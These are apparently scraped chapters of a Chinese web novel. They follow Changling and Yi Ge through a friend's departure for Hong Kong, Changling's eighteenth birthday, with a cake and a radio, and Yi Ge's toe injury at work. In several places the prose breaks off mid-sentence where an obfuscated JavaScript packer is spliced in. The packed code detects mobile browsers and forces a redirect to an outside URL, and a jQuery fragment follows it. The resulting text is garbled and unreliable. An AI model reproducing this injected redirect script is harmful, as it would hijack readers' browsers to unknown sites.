昌灵轻轻笑了下,以迅雷不及掩耳之势环抱住易阁的脖颈,鼻尖抵在他的肩窝。 易阁猝不及防被人搂住,双手条件反射地僵在半空中不知道该往哪里放。心慌意乱里,他的身体感受着昌灵嘴巴张张合合,听见她声音闷闷地说: “希望我们,越来越好。” 很朴实无华的祝福,易阁想,如果能一直陪着你,也很好。 ** 敲门声传来的时候昌灵正在床上看书,易阁在厨房里做蛋炒饭。 饭还是昨天剩下的。 “昌灵,去开门。”易阁炒鸡蛋分不出手来,蛋娇贵,差一点火候都不行。 咚咚咚——咚咚咚—— “来了别敲了!”昌灵皱了皱眉扬声喊道。 她急忙穿上拖鞋去开门,嘴边小声嘟囔着“这种没素质的砸门声一听就是陈家旺”。 门打开,果不其然是陈家旺的脸,头发修短了一些,看着比之前利索。 “表妹,晚上好啊。”看见昌灵他立马堆起满脸笑,把手里的东西塞进她怀里。 昌灵也笑:“来就来嘛,带这么多东西干嘛。” “妹妹,你这笑得可太假了,不欢迎我也别这么明显呀。” “得了吧你。”昌灵在他身后把门关好,“你可别给我扣个不欢迎的帽子。” 易阁抽空探了个头:“你表妹刚才学习呢,你哐哐地敲门吓人一大跳。” “哎呀怪我。”陈家旺装模作样地抽了自己一巴掌,“灵灵学什么呢?” “说了你也不懂。”昌灵给他倒了杯水,“你呢,深更半夜大驾光临有何指教?” “这才几点就深更半夜了。” 易阁问:“你吃饭了没,给你也盛一碗?” “今天就不吃了,我一会儿还有个局呢,顺路过来跟你们道个别。” 道别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535032|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? “你去哪?”昌灵问。 易阁听他的语气不像是开玩笑,当即关掉燃气走出来:“你什么情况?” 陈家旺左右看看,女担忧男严肃,不知道的还以为他要进去了。 “你俩能不能盼我点儿好啊。”他仰天长啸。 易阁非常不给面子地问他你能有什么好。反倒是昌灵一改担忧的神色,兴致勃勃地问他:“有什么好事,怎么不说带上我?” “我还没问你呢,你最近怎么样?在百乐还行?” 昌灵说挺好的,催促着他赶紧说。 易阁琢磨片刻,拆台道:“你少装,真有什么好事还能忍到现在才说?”说完果断转身进去继续炒饭。 “嘿,瞧不起人是吧,你小子最近很嚣张啊——” 昌灵看着光速撸起袖子冲进厨房理论的‘炸毛狮子狗’,无奈地捏了捏眉心。 这两个人,凑在一起就没消停的时候。 陈家旺要去一趟港城,说尽量过年前赶回来。一开始他还不肯说原因,糊弄着说出去玩。昌灵担心他被人骗,毕竟港城那种寸土寸金的地方她只在报纸上看到过。 “你是瞒着陈师傅的对吧?你要是不告诉我们到底去干嘛,我现在就给陈师傅打电话,让他打断你的腿好了。”昌灵作势就要摸电话。 “别别别,妹妹,饶我一命。” “那你说呀,跟我们有什么不能说的?” 陈家旺抓了抓头发,半晌坦言道:“也不是不能说,这不是还没点儿眉目,不好意思吹嘛。” 易阁不屑地‘切’了声。 昌灵做了个‘请吹’的手势。 陈家旺这才解释,他是想去港城学一段时间纹身,回来开一家纹身店。 “……” 昌灵盯着他手背上的两只‘齐白石名虾’,迟疑地问:“你说真的吗?这种不需要学画画吗?” 陈家旺:“我会画啊。” “那,能有生意吗?” “肯定有啊,我都仔细调查过了,那些小巷子里的烂技术还有生意呢,我肯定比他们强啊。” “你有自信是好事。”易阁淡淡地说,“师父要是知道你准备开这种店,大概真的会打断你的腿。” “所以啊,我这不是先来找你了吗。” 易阁:? “等老头儿跟我动手的时候,我就说你跟我是共犯,咱俩一块挨打哈。” 易阁:“你想死是不是。” “好兄弟有福同享有难同当。” 趁他们斗嘴的功夫,昌灵也仔细想了想。大街小巷的纹身店其实都不缺生意,门口经常堆着七七八八的人,只不过是她看着有些害怕,从来都是绕着走。既然陈家旺喜欢,也不失为是条出路。 她担忧的只有一件事。 “你去港城找什么人学呢?在附近不能学吗?我看报纸上说那里花钱很多的,又那么远,还要什么证,你都想好了?” 陈家旺嗯了声:“你们放心吧,钱我女朋友都出了,她跟我一起去,找她一位叔叔学。” ? 昌灵:“你女朋友不是个幼儿园老师吗?她能和你一起去港城?” “早换了。”陈家旺认真道,“现在的女朋友是港城靓女。” “……” 昌灵冲他抱了个拳以示尊敬。 陈家旺来去匆匆,却在昌灵的心里激起了不小的涟漪。从西乡到雁山,她用了十七年。 除此之外,她哪里都没去过。 38. 2000 雁山没有机场,要抵达港城需要先坐火车到临市,再转一次机。 陈家旺说是不用朋友们送,但昌灵想去,最主要的原因是她想见见陈家旺现在的女朋友是什么样子的,怎么会甘愿给他花这么多钱? 又不是大风刮来的。 陈家旺买的早上七点的车次,昌灵强迫易阁请了两个小时假,坐公交车来送他,还给他带了两个水煮蛋。 “拿着路上垫垫,也没有多的。”昌灵把蛋从易阁口袋里拿出来,还热乎着。 陈家旺也没跟她客气,捧着鸡蛋感慨道,世上只有妹妹好。 油嘴滑舌。 易阁闭了闭眼睛,没搭理他。口袋里被鸡蛋烫得暖和,他揣着手昏昏欲睡。 “你女朋友呢?还没来?”昌灵张望了一圈也没见到疑似人员,不免有些好奇。 “她不来。”陈家旺说,“不是咱们本地人,说好直接在机场等我。” 昌灵踯躅片刻,还是忍不住说:“家旺哥,你不会被人骗了吧?” 陈家旺:“骗我?为什么?” “你去港城要那么多钱,非亲非故的,她真的全给你付?” “这就是爱,说了你也不懂。” “……”昌灵被他怼得哑口无言。 如果钱才代表爱,那她从小到大几乎就没得到过,确实没资格谈论什么。 “你别听他瞎说。”易阁看她脸色不太好,瞪了一眼陈家旺,“你现在振振有词的,等真被人骗了我们可救不了你。” “人家能骗我什么啊?财是她的,我顶多出色。”陈家旺无所谓,继续发表他的爱情宣言:“妹妹,我跟你说啊,一个人如果真的爱你,那他肯定会拼命给你花钱的。如果他光嘴上说爱爱爱,实际上一毛不拔,那都是骗骗小女孩的,千万别信。” “……” 昌灵、易阁听完不约而同地对视了一眼,视线相接的瞬间,双方都在彼此眼中看到了一丝丝狐疑的‘理解’。 他说得好像,也有那么点道理…… 回去的路上太阳已然高悬,昌灵买了两根油条坐在车窗边,风一吹,整个车厢都是浓郁的包子、油条味儿。 易阁皱了皱眉,而且还有人在吃韭菜馅,味道不太好闻。 “你真的不吃?”昌灵吃第二根之前象征性地问了他一嘴。 “不了,我不饿。”易阁心里叹气,车厢里混杂的味道实在让人没有胃口,也难为昌灵每天早上都要坐公交车上班,还能吃得如此津津有味。 “我刚仔细想过了。”昌灵咽下去口中的食物,说:“家旺哥说得对,但不全对。” “怎么说?” “一个人如果非常有钱,那钱对他的意义就不大,所以就算他愿意给你花钱,其实也代表不了他真的爱你。 “对吧?” 易阁凝视着她认真的脸,不由自主地说:“可能吧。” “相反呢,如果一个人很穷,只能给你花一点点钱,但这些已经是他的全部了,也不能代表他不爱你,是吧?” 易阁闻言笑得有些勉强:“你这样说的话,那岂不是爱比不爱更惨、更好笑了。” “可笑吗?”昌灵想了想,片刻后不赞同道:“爱怎么能用金钱衡量。” “……也是。”易阁目视前方不再说话。 他其实很想提醒昌灵,她刚才说的那些话,从本质上来说,就是在用金钱衡量爱。 更可悲的是,他现在就是昌灵口中那种‘廉价’的爱。所以他无法理直气壮地替自己辩解,贫穷的爱比富有的爱更拿得出手。 那太不要脸了。 ** 枯枝落霜的清晨,百乐台球厅湖舟路分店正式揭牌开业。六个前台在两个店轮班,基本工资涨了二百,每周还多了一天假期。 但昌灵有点高兴不起来,因为近期涨的不只是她的工资,还有房租。 房东这几天打了好几个电话,说明年必须涨一些。附近的房价都涨过好几轮了,他们要是不同意,他可要租给别人了。 没给一点儿商量的余地。 本来昌灵还说拖着他,等抽空见面再说。结果易阁没两个电话就‘投降’了,对房东提的价格一口应了下来——每月四百,年付一把清。 昌灵知道以后差点没气背过去,猛灌了三杯水才能心平气和地跟他说话,从一百四涨到四百,想钱想疯了吧。更离谱的还是易阁,这也能答应?起码砍砍价啊。 结果易阁说他打听过,同小区基本都是差不多的价格了,他就算不同意,也租不到更合适的房子,搬家也麻烦。 昌灵又觉得自己一拳打在棉花上。 有床之后谁也不愿意再睡沙发,所以现在的房租他们两个人平分,一人二百,正好她涨的那点儿工资全付房租上了。 来雁山一年,攒的钱连买两件正经家具都费劲。冰箱那么小,一开门东西直往下掉,一不留神就会被砸到脚。 一想到这些昌灵就心生烦躁。 “小灵姐,我这样填对吧?” 新店刚开比较忙,怕新人忙中出错还得昌灵手把手教。她看了一眼递到面前的会员表,说对,但要是数字写得再清楚点就好了。 “起码不要把‘0’写成‘6’。” 同事不好意思地笑了笑,“知道啦知道啦,怪不得她们都说小灵姐你眼尖呢,扫一眼这么小的数都能看见。” “是吗?”昌灵对此来了点兴趣,“除了这个还在背后说我什么呢?” “哎呀,没有啦。” “说来听听嘛,我又不会说出去,什么坏话?” “这个真没有!”同事举手保证,“都是好话。” “那有什么不能说的?” “也是。”同事想了想,捡了个开头说:“她们都说一开始觉得你是老板的亲戚,长得又漂亮,肯定就是来找个班上混日子的,顺便从客户里挑个大老板嫁了,一辈子吃香的喝辣的。” 昌灵眨了眨眼。 “但后来才发现你工作居然那么认真,算数、点货都快。最关键的是,有好几个老板想跟你联系,你都拒绝了,一说起来这个她们都老佩服你了。” 同事问:“你是怎么做到金钱面前不受诱惑的啊小灵姐?” “……哈。”昌灵假笑了下,无语地说:“你要是看见那些老板肚子有多大,头发有多稀,你也能做到。” 更何况她床上每天都有一个帅哥对照组。看惯了易阁的脸,她真的很难接受那些丑东西凑在自己面前,更何况之后还要拉手、亲嘴儿。 这比容嬷嬷扎针还要折磨人。 最近店里的电视在播《还珠格格》,昌灵陆陆续续看完了全集,觉得里面的爱情桥段都像童话故事似的,她没有这样‘过命’的朋友和爱人,于是总是忍不住想,人类之间的感情真有这么好吗? 同事听完她的话大笑着翻起了手边的杂志,片刻后举着其中一页问昌灵:“你觉得我穿这种豹纹吊带能好看吗?” “好看啊,现在不都流行豹纹吗。” “是吧。”同事喜滋滋地继续往后翻,“那等我发了工资就去买一件。” 昌灵闻言微微蹙眉:“天这么冷你买吊带? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535033|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “反季买便宜啊。再说了,现在进了冬月门,马上就腊月过年了,过完年开春就能穿,很快的。” 冬月了? “今天几号?”昌灵立刻问道。 同事随手把台历送到她面前点了点上面的日期。 2000年11月26日,冬月初一。 ——今天是她生日。 “啊……”昌灵懊恼地按了按太阳穴,怎么把这件事忘了,明明前一阵还记得的。 虽然她从来都不过生日,不过毕竟是十八岁了,意义会要稍微不同一些。原本还想早上给自己煮碗长寿面,再许个愿说来年可以赚更多的钱。 算了,昌灵想,晚上回家煮也一样。生日的‘头’开得不好,怎么也得收个好‘尾’吧。 ** 一年以来,易阁几乎每天都过着两点一线的生活,上班、回家。上班已经够累了,所以休假他也多半是在家里度过,活动范围就在几条街之间,小的可怜。 所以他从来不知道几条街外的树杈上早已挂满了小彩灯,天一黑,照得街道五彩斑斓、灯火通明。 又入冬了,时间过得可真快啊。易阁忍不住呼了口气,出来这么久,也不知道家里怎么样了。 虽然毕小伟每次打电话都说挺好的,卫生室每天照常开门,他母亲也依旧闭门不出,偶尔在家里摔摔打打,邻居们也都习以为常。 没什么大问题。 其实易阁很想问问,父亲真的再也没有提起过他吗,哪怕是问毕小伟一句现在自己过得好不好,有没有钱吃饭。 可是话到嘴边他又问不出口,总觉得这样矫情的话不该从一个大男人的嘴里说出来。尤其是,连昌灵都从来不说这种话。 原本他以为昌灵真的对家里毫无留恋,直到有一天看见她对着那件红毛衣默默掉眼泪。据昌灵所说那件衣服是她妈妈和嫂子亲手织的,想来也是有感情的。 但易阁也知道,就算再有感情,昌灵也永远都不会再和那个家有联系。 这是昌灵最果决的反抗,谁也改变不了。 一阵风吹过,他缩了缩脖子小跑两步,又忽地慢了下来。 “小易,今天买这么多东西呀?”刚迈进小区门,身侧就传来热情邻居打招呼的声音。 “哎,是。”易阁点点头,人他不认识,只敷衍地应了声。 “我刚才还看见小昌呢,你俩……” 不等邻居的话说完,易阁先发制人道:“原来她回来了啊,那我也先走了。” “哎?哎……好,慢点哈。” 他当然知道邻居想问什么,无非是领证了没,要不要在城里再办个酒席云云。这些问题可比他给货车师傅画线路图难多了,易阁懒得应对。 就是没想到昌灵今天回来的这么早。 他本来想着把东西都换到一只手上自己开门,又怕磕磕碰碰不像样,最终还是用膝盖撞了撞。 “来了。”屋里顿时响起了脚步声。 易阁深吸一口气,往后退了一小步,好让昌灵能第一时间能看清他的全貌。 门一打开,昌灵探出头来:“你没带钥匙……”话没说完,她愣在原地。 易阁笑了下,把右手的蛋糕送到她面前: “生日快乐,昌灵。” “……” 昌灵手里还攥着没来得及下锅的面条。 她强忍着顷刻间如涨潮般翻涌的复杂情绪,在蛋糕包装盒上,看见了那个熟悉的名字。 同事生日的时候吃过这家的蛋糕,很好吃,她回来随口和易阁提过一次。 39. 2000 易阁心里也有些没底。 昌灵神情复杂,目光里掺杂着很多他看不懂的情绪。疑惑、惊诧、似乎还有一丝荒诞,却唯独看不见喜悦。 她好像并不觉得高兴。 难道昌灵排斥过生日吗? 易阁忍不住微微蹙眉,怪不得昌灵紧张的时候总喜欢掐手指,他现在可算切身体会到了——因为心里实在发虚,感觉整个人都落不到实处。要不是现在手里东西多,他都有点想掐一下试试了。 楼梯上传来的脚步声惊醒了心思各异的两个人。 昌灵敛下眼睫后退一步,让出了门口的位置:“你先进来吧。” “……好。”易阁僵硬地点点头。 房门隔断了内外两个空间。楼道里的邻居交谈甚欢,房间内的两个人相顾无言。 易阁发誓,他真的很想说点什么,但又怕自己嘴笨说错话。明明之前昌灵说起蛋糕的时候还蛮开心的,怎么现在会变成这样? 就是这家,也没买错啊。 昌灵自知这点事没什么好哭的,她也不想哭。 趁易阁慢吞吞换鞋的时间,她扭开脸快速眨了几下眼,将未凝成热泪的情绪顺着喉咙一并咽了下去。 “你记得我生日啊。”片刻后她故作轻松地说。 听到昌灵的声音,易阁骤然松了一大口气,语气也带了点不自觉的笑意,玩笑道:“记得啊,难道你不记得我的?” 昌灵不说话。 易阁:“……” 不会真不记得吧。 他急忙找补:“我开玩笑的,不是说非要你记得,我又不过生日。 “真不过。” 昌灵似乎是笑了下,而后朝他伸出手:“蛋糕给我吧,那些是什么?” “一些吃的、用的。”易阁将蛋糕小心翼翼交到她手里,说:“这不是去拿蛋糕吗,顺路买了点别的,平时也没空过去。” “嗯。”昌灵说着把蛋糕平稳地放在茶几上。 透过上面的塑料盖,她看清了蛋糕上方用红色果酱写着的‘生日快乐’,以及层层叠叠的奶油花边,有粉有绿。 昌灵对蛋糕的尺寸没有概念,只觉得是一个很大、很完美的蛋糕。 她人生中第一个蛋糕。 “锅好像开了,你是准备煮面条吗?”抽油烟机功率小,煤气灶上的蒸气争先恐后地往外跑。 “对,我煮面条。”昌灵嘴上应了声,视线却始终不曾离开过那个蛋糕。 易阁此时才从昌灵身上接收到快乐的感召,喜欢的,喜欢的,喜欢的。 ——那就好。 他嘴角微微上扬:“你别忙了,等我洗个手,我去煮。” “啊?不用。”昌灵已然神色如常,“马上就好了,你坐着就行。” 说着她一路小跑回到厨房,完全没给易阁阻拦的机会。 算了随她去吧,易阁想,反正煮面条也不是什么累人的活儿。 ** 昌灵把刚才她捏断的一小撮面条留出来,只煮了一把完整的。虽然不是手擀的长寿面,也终归不能吃断面条。 葱油拌面是早就吃腻了的,现在的冰箱门上堆了几瓶他们精心挑选的辣椒酱。昌灵不喜欢吃带豆瓣的,尝起来不仅不辣反而很咸,但易阁意外的很喜欢。 她将两碗面条和两种辣椒酱一起摆在桌子上,围在蛋糕旁。 易阁换完衣服出来看到的就是这样一副可爱景象,碗碗罐罐热热闹闹的聚在一起,不由得让人心生感慨: 幸福感就是来源于生活的细碎边角。 他觉得这样很好。 “看你刚才在门口的神情,还以为你不喜欢过生日呢。”易阁往上挽了挽袖子,将辣椒酱的盖子扭开递给她。 “谢谢。”昌灵接过辣椒酱舀到面上,想了想说:“其实也说不上喜不喜欢,就是出生的日期而已,没什么实际的意义,又不能多发两百块钱奖金或者放一天假。” 易阁:“但是可以许愿吃蛋糕。” 昌灵闻言抿着嘴郑重地摇了摇头:“许愿不灵的。” 虽然她已经想好了今年的愿望,但昌灵心知肚明,这只不过是漫长生活里给自己提供的一点无聊慰藉,实际效用为零。 “还是要相信科学。”她说。 易阁失笑,这个人为什么能对着生日蛋糕一本正经的跟他科普这些。 他饶有兴致地问:“这么说你之前许的愿望都没实现过?” “没有。”昌灵疑惑地反问道:“难道你实现过吗?” “有吧。”易阁说,“你的愿望是什么,说来听听。” “说出来不就不灵了。” “你不是不信吗?” “万一呢。”昌灵摊摊手。 “会不会是你许的愿望太大了?切实一点儿试试。” ? 昌灵从没想过这个角度,从前的愿望无一不是奶奶出门摔跤、顺利考上大学之类的。 她转转眼珠,不太确定地说:“那我要说希望明年赚很多钱,算大吗?” “算吧。” 这也算,“我想不出来愿望了,没劲。” 易阁叹气,好没耐心。 他忍着笑,问:“那你有钱之后想干嘛?” 这个问题就好回答多了。 昌灵说:“买个电视,再不济就买个收音机。” 总之家里能多点声音就行。 “行。” 易阁低头从先前的袋子里摸出一个小盒子,笑着推到她面前:“谁说不灵?” 谁说不灵。 事实证明,人体控制情绪的开关就像一个简易的弹簧装置,你越努力想压制,等到反作用力起来,无疑会受到更高涨的情绪反噬。 见到收音机的这一刻,昌灵的眼泪猝不及防掉了下来,毫无征兆。 易阁见状心跳乱了一拍,手忙脚乱、不知所措:“怎么了这是,好好的怎么哭了,别哭啊。” 昌灵偏开头,不想让他看见自己现在的模样。 易阁起身给她找了块卫生纸,昌灵不接,他只好胡乱地在她脸上蹭眼泪,像哄小孩那样打趣道:“许的愿望实现了就这么感动啊,说哭就哭。” 昌灵心道,才不是呢。 “还是很灵的。”易阁生硬地安慰道,“这样看生日就有意义了,对吧。” “没有。” 易阁:“……” 昌灵一把扯过他手里的卫生纸自己动手擦,易阁手劲大,擦得她脸疼。 “行,你说什么就是什么吧。”易阁也不跟她争辩,“既然不哭了,那我们插蜡烛、切蛋糕?” “嗯。”昌灵没意见。 她盯着眼前拆绑带的那双骨节分明的手,心想,灵的又不是生日。 ** 临近年关,易阁已经加了一个多月班,天天到九、十点,小年夜也不例外。 但他早上出门前说今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535034|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该会早一些,最晚八点。 昌灵下了班特意绕路去超市逛了一圈,想着从年头忙到年尾,难得认真在家里做顿正经饭吃,不能再糊弄。 超市里人满为患,有些货架前都得挤着走,人过去之后购物篮还卡在人堆里。 昌灵被磨得没脾气,跟着人流走到哪算哪,路过有需要的东西就顺手拿下来一件,耳朵里听着广播一遍一遍的提醒要注意保管好自己的财物,心里难免叹气。 怎么大家都赶着今天过来进货,人也来贼也来,结果特价商品也没看到几件。自己也是贱,非得凑这个热闹。 按照正常时间算,她七点之前肯定能到家。再剁剁菜和肉馅,等易阁下班还能陪她一起包水饺。 收音机还有节目可以听。 可现在计划赶不上变化,几个收银台前的队伍都排得老长,除了等还是等。 昌灵只能安慰自己说,等她大包小包回家的时候起码能有人接。 今夜也有烟花。 超市人多,公交车里人反而很少。昌灵坐在后排靠窗的位置,将车厢内的人生百态尽收眼底。 人人都是轻松又喜悦。 欢庆的日子,往日匆忙的俗人也终于拥有了片刻的喘息,月明星稀,五光十色。 整栋楼的灯几乎都亮着,昌灵抬头看了一眼,301没有。 易阁还没回来。 手指被塑料袋勒得不过血,她在门口用力甩了好几下才将将有些知觉。易阁这个骗子,明明说好的八点之前,现在连个人影都看不见。 真讨厌。 真讨厌! 不过今年他们交了暖气费,家里是温暖的。 昌灵进门第一件事就是放下东西去洗手,现在自来水的水温都比她的手温度高,算是最快捷的回温方法。 关掉水龙头,她顶着气鼓鼓的一张脸坐到电话机前,准备跟易阁说如果十分钟内见不到他人,那今晚上就别回来了,在三九八过他的小年夜吧! 听筒抬起时屏幕会亮黄色的光,昌灵眯了下眼睛,看清了上面的一行小字: 「六通未接来电」 她往上查看了两条,均是来自三九八办公室的固定电话,易阁? 昌灵不知怎的莫名有些心慌,手指哆嗦了一下才回拨过去。 嘟——嘟—— “你好,哪位。”嘟声过后电话很快被接起。 “你好,我找易阁,他在吗?” “找易阁?”电话那头一顿,片刻后问:“你是昌灵吗?” “我是,你怎么知道……” “你怎么才回电话啊!” 昌灵心里倏地一跳,不好的预感扑面而来。她急忙道:“出什么事了?!” “易阁晚上被倒下来的机床砸到了腿,现在人被送到人民医院去了!” “他说就你一个家人,我们打了好几个电话都没人接,你现在快过去吧!” “我具体也不知道什么情况严不严重,反正当时一大群人围着,人都没法动了。” “总之你快过去吧!” 昌灵记不清自己是怎样挂掉的电话,也记不清下楼之前她锁门了没有。只记得站在路边拦出租车的时候手格外冷,寒风凛冽一如当年西乡中学的教学楼。 出租车司机问了好几遍要去哪里,她才哆哆嗦嗦地说:“去、去人民医院。” 手都在抖。 她现在连掐手指的力气也没有。 40. 2001 昌灵下车时魂不守舍踉跄了下,身体失去平衡撞在车门上发出一声闷响。 “哎呦,没事吧?”司机有些担忧地问道。 万家团圆的日子这么着急忙慌来医院,一个跟他女儿差不多大的小姑娘,脸色苍白,神情恍惚,看着也挺可怜。 “没事。”也不知道是说给谁听,昌灵又重复了一遍:“没事的。” 他听着于心不忍,安慰说:“不管什么事儿,都会好起来的。” “嗯。”昌灵把车门关好,哽咽着说了声“谢谢”。 还不能哭。 她扬起头一连做了几个深呼吸,用力跺了跺发麻的双腿,马不停蹄直奔医院大楼而去。 风灌得嗓子生疼。 这是昌灵生平第一次迈进医院的大门,她像只无头苍蝇一般在大厅里四处张望。这里不是可以驻足歇脚的地方,每个人都步履匆匆,神色凝重,看得人心惊肉跳。 这样不行的。 昌灵闭了闭眼,强迫自己冷静下来。没准儿易阁只是受了点小伤,是电话里那个人没搞清楚状况。 慌乱间,她一把抓住了路过的护士。 护士习以为常:“您好,需要帮助吗,有哪里不舒服?” “我、我找人。” “可以的,服务台可以帮您查,跟我过来吧。知道病人的名字吗?” “谢谢,谢谢。”昌灵活像个提线木偶,人说一步,她动一步,六神无主。 服务台的护士声音很温柔,耐心询问她要找的是什么人,名字是哪两个字。 “容易的易,阁楼的阁。”昌灵说,“是被砸伤送过来的,大概一个小时前。” 护士还在低头查找,她的身后突然传来一声询问:“你是昌灵吗?” 昌灵闻声迅速回头,眼前是位面色和蔼的陌生父辈。她点了下头:“我是,您是……” 对方友善地笑了下:“我姓陈,算是易阁的师傅,你应该认识我儿子,陈家旺。” 昌灵连连点头,“我知道您。” “正好,我儿子在跟我打电话,刚巧听见你的声音,想跟你说两句。” 昌灵急忙把手机接过来,咬了咬牙,努力稳住了声线:“家旺哥。” “昌灵,你别慌。”陈家旺的声音隔着万水千山,却是昌灵现在唯一能抓住的东西。 她一只手紧紧握着手机,另一只手作为支撑牢牢攥在手腕上。 “我……”昌灵不知道说什么。 “易阁的情况我爸跟我说了,或许没想象的那么严重。你听好了,不管一会儿医生跟你说什么话,你都要保持冷静,听到没?” “嗯,嗯。”她胡乱应下。 “别他们说什么就是什么,医生说话你听不懂就问,需要钱就跟我爸他们说,跟他们商量,知道吗?” “好,我记下了。” “千万要冷静,易阁可能脑子不清楚,但你心要定,他身边就你一个亲人。” 昌灵艰难地说“好”。 “快进去吧,有问题随时给我打电话。” 昌灵把手机还给陈师傅,跟服务台要了一杯冷水猛灌下去才跟着一起进病房。路上她甚至不敢问一句易阁现在到底怎么样。 停在病房门口,昌灵看见床前围了两个医生和几个她不认识的人,应该都是易阁的同事。 陈师傅叹气:“过去看看吧。” 昌灵不知道自己将要面对的是什么,来的路上她想过无数种最坏的情况。 “易阁家属?”面对着她的医生出声问道。 “对。”昌灵攥了攥拳,鼓起勇气往里走。 几个人都闻声看过来。在人群的缝隙里,她看清了易阁发白的嘴唇,和被层层包裹着的右脚。 见她来,易阁对她笑了笑。 众人自觉给昌灵空出了离易阁最近的位置。 “到底怎么了?”她快步跑过去,语调里带着明显的颤音。 易阁安抚般攥了下她的手,冷冰冰的。 医生给昌灵复述了一遍检查结果: 机床倒下的时候易阁跑得快,没有伤到腿,但边缘砸断了他的右脚大拇指指骨。现在易阁的大拇指已经完全失去了知觉,恢复的可能性不大。为了避免其他部位病变,可以选择把大拇指截掉,康复之后不会影响走路和日常生活。 医生说:“病人本人没什么意见,但我们还是觉得这种事需要跟家属商量一下比较好。毕竟还很年轻,即使是截掉很小的部位,多多少少难免都会有些不一样。” 昌灵嘴唇抵在自己的手背上,眼眶通红。半晌她难以置信地问易阁:“你同意?” 易阁声音沙哑:“没事的,不会影响正常生活。” 四周都是担忧、关心或者同情的目光,但这种事情重大,除了易阁本人,似乎也只有她这位顶着家属头衔的人才能做决定。 昌灵回握住易阁的手,眼神里满是不甘心和哀求,而后冲他小幅度地摇了摇头——不行,不可以的。 易阁读懂了她的意思。 昌灵来之前他是真觉得无所谓,反正外表看起来和常人一样。可现在,他也不知道该怎么办才好。 昌灵转头看向先前说话的医生,尽量保持镇静:“您刚才说,恢复知觉的可能性不大,那是不是说明还是有可能的?” “是。”医生说,“那就需要把仪器钉进他的拇指里不断刺激神经,如果能恢复知觉,大概率就能保住。但如果恢复不了,可能会影响其它神经组织。” 好起来。 或者更坏。 易阁察觉到昌灵的手在抖,这种决策原本就不应该甩给昌灵来做。他故作轻松地说:“我真的没关系,就听我的吧。” 医生询问地看向昌灵。 昌灵想,这种时候听易阁的是对的,除了生身父母,他是唯一可以对自己的身体负责的人。就算结果不尽人意,他也只能怨恨自己,怪不了旁人。 更何况他们二人半点关系也没有。 她现在只需要点一下头。 可易阁的温度透过手掌源源不断传过来,医生那句“毕竟还很年轻”回荡在她耳边经久不散。 是啊,易阁还没有十九岁。易地而处,昌灵是万万接受不了自己残缺的身体,这太可怕了。 她的目光在易阁的脸庞流连,嘴唇因为失血过多而发白,面颊处却透着不正常的红。昌灵强行挤出一个笑容缓缓抬手抚摸他侧脸,片刻后一字一句认真问道: “你想不想赌一把?” 易阁扪心自问,他想吗? 昌灵说:“我觉得这些年,我们运气还不错。” 这一刻,易阁只觉得她好傻。自己明明都给了台阶,她硬是要逆流而上。 昌灵都没哭,怎么他反而想流泪了。 陈师傅也说:“小易,这不是小事,你千万要想清楚了。” 在这种稍微挪动一步就可能掉下万丈深渊的绝地时刻,易阁竟意外地感到幸福和温暖。他笑着理了理昌灵耳边凌乱的碎发,替自己做了最终回答: “医生,我还是想选钉一下试试,麻烦了。” 易阁自己签好了同意书,这种尝试甚至都算不上一个手术。仪器被直接抬进病房里,开始前,医生建议大家都出去,接下来的场面不会太轻松。 昌灵不肯,一定要留下陪易阁一起。 “你还是先出去吧。”易阁说,“万一看了晚上做噩梦怎么办。” “我不要。”昌灵说,“我不要。” 时间宝贵,失去知觉的好处大概就是连麻药都不需要。昌灵眼睁睁看着那根长钉从指尖钉入易阁的拇指里,而后一刻不停地转动起来,血肉里翻搅,鲜红的液体当即从顶端四散奔涌。 眉头紧锁的是她,无知无觉的是易阁。 她担心易阁会痛,又害怕易阁不会再痛。 除了财神,昌灵没信奉过其他什么。看着仪器下方不断流入升高的血液,她难得祈求神明,如果神真的爱世人,能不能高抬贵手帮帮易阁。 哪怕一次就好。 医生问他:“有感觉吗?” 易阁神色淡然地盯着自己的脚趾,心里其实没什么波澜。事已至此,好坏他都能全盘接受,这没什么大不了了。 “有感觉一定要说。” 点滴的药水顺着软管流进血液里,昌灵此时做不了什么,她只能徒劳地把自己的手垫在易阁的手底下,分享给他一点点温度。 两只手都变得一样冷。 时间像是按下了慢动作重播,仪器转动间,易阁想起了西乡的卫生所,如果有机会,还是该回去看一看的。 也不免想起身边的昌灵,那时候他陪昌灵上山看姐姐,那是第一次他真心希望昌灵能不再受伤。 而现在,他突然发觉,那个曾经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 